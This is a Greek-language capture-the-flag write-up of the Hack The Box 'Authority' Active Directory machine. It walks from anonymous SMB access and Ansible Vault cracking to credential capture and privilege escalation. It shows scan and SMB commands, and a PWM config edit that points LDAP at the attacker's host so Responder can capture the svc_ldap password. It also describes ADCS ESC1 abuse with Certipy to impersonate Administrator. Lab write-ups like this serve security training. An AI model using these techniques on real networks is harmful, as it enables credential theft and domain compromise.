Το Authority είναι ένα μηχάνημα μέτριας δυσκολίας Windows Active Directory. Ξεκινά με ανώνυμη πρόσβαση SMB σε ένα share Development που περιέχει playbooks Ansible με credentials κρυπτογραφημένα με Ansible Vault. Το να σπάσουμε το κλειδί vault με ansible2john + John the Ripper αποκαλύπτει credentials για να κάνουμε login στο PWM (μια εφαρμογή password self-service στη θύρα 8443). Το να τροποποιήσουμε το config LDAP του PWM ώστε να ανακατευθύνει στο μηχάνημά μας και να τρέξουμε Responder πιάνει το plaintext password του svc_ldap. Το privilege escalation εκμεταλλεύεται το ADCS ESC1 — προσθέτουμε ένα domain computer, ζητάμε ένα πιστοποιητικό Administrator μέσω Certipy, κάνουμε authenticate για να πάρουμε ένα LDAP shell, και προσθέτουμε τον χρήστη μας στους Domain Admins.
Ένα πλήρες port scan αποκαλύπτει ένα κλασικό fingerprint Windows Domain Controller — DNS, Kerberos, LDAP, SMB, RPC, και μια ασυνήθιστη θύρα 8443 που τρέχει μια web εφαρμογή που ανακατευθύνει στο /pwm.
nmap — full scan
SP1R4@kali)-[~/HTB/authority]└$ nmap -sC -sV -p- 10.10.11.222 --min-rate=500PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds?
636/tcp open ldapssl?
3268/tcp open ldap
8443/tcp open ssl/https-alt [redirects to /pwm]
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
hosts
echo "10.10.11.222 authority.htb authority.authority.htb" | sudo tee -a /etc/hosts
Καταμέτρηση SMB
Το SMB επιτρέπει ανώνυμο login. Το λιστάρισμα shares αποκαλύπτει ένα μη-στάνταρ share Development δίπλα στα συνηθισμένα shares AD.
SP1R4@kali)-[~/HTB/authority]└$ smbclient -N //10.10.11.222/Developmentsmb: \> recurse on
smb: \> prompt off
smb: \> mget *
Το share περιέχει playbooks Ansible κάτω από Automation/Ansible/PWM/defaults/. Τα αρχεία main.yml κρατούν credentials κρυπτογραφημένα με Ansible Vault.
Σπάγοντας το Ansible Vault
Οι τιμές κρυπτογραφημένες με vault ξεκινούν με $ANSIBLE_VAULT;1.1;AES256. Χρησιμοποιούμε το ansible2john για να τις μετατρέψουμε σε ένα hash συμβατό με John, μετά κάνουμε crack με rockyou.
Η θύρα 8443 φιλοξενεί το PWM, μια εφαρμογή password self-service LDAP ανοιχτού κώδικα. Τα decrypted credentials δίνουν πρόσβαση σαν Configuration Manager. Το PWM δείχνει errors σύνδεσης LDAP — προσπαθεί να φτάσει το ldaps://authority.authority.htb:636 αλλά αποτυγχάνει, και παρατηρούμε τον χρήστη svc_ldap στο bind DN.
Καταγραφή LDAP μέσω Responder
Η σελίδα Configuration Manager μας επιτρέπει να κάνουμε Download και Import το config XML του PWM. Τροποποιούμε το URL του server LDAP ώστε να δείχνει στο μηχάνημά μας, κάνουμε import το config, μετά ξεκινάμε το Responder. Όταν το PWM ξαναδοκιμάζει το bind LDAP στέλνει τα credentials σε plaintext σε εμάς.
config modification — PwmConfiguration.xml
# Αλλαξε το URL LDAP στο PwmConfiguration.xml<value>ldaps://authority.authority.htb:636</value># σε:<value>ldap://<YOUR_IP>:389</value># Κάνε import το τροποποιημένο config μέσω Configuration Manager, μετά...
Το domain επιτρέπει σε οποιονδήποτε authenticated χρήστη να προσθέσει λογαριασμούς computer (το ms-DS-MachineAccountQuota είναι μη-μηδενικό). Προσθέτουμε ένα ψεύτικο computer για να πάρουμε έναν λογαριασμό machine που ελέγχουμε.
Το Certipy κάνει enumerate templates πιστοποιητικών ADCS. Βρίσκει ένα template ευάλωτο σε ESC1 — κάθε Domain Computer μπορεί να κάνει enroll και να ορίσει ένα αυθαίρετο Subject Alternative Name, επιτρέποντάς μας να προσποιηθούμε οποιονδήποτε χρήστη συμπεριλαμβανομένου του Administrator.
ⓘ ESC1 — το template επιτρέπει σε όσους κάνουν enroll να ορίσουν ένα αυθαίρετο Subject Alternative Name (UPN). Ορίζοντας το UPN σε administrator@authority.htb, αποκτούμε ένα πιστοποιητικό που κάνει authenticate σαν Administrator.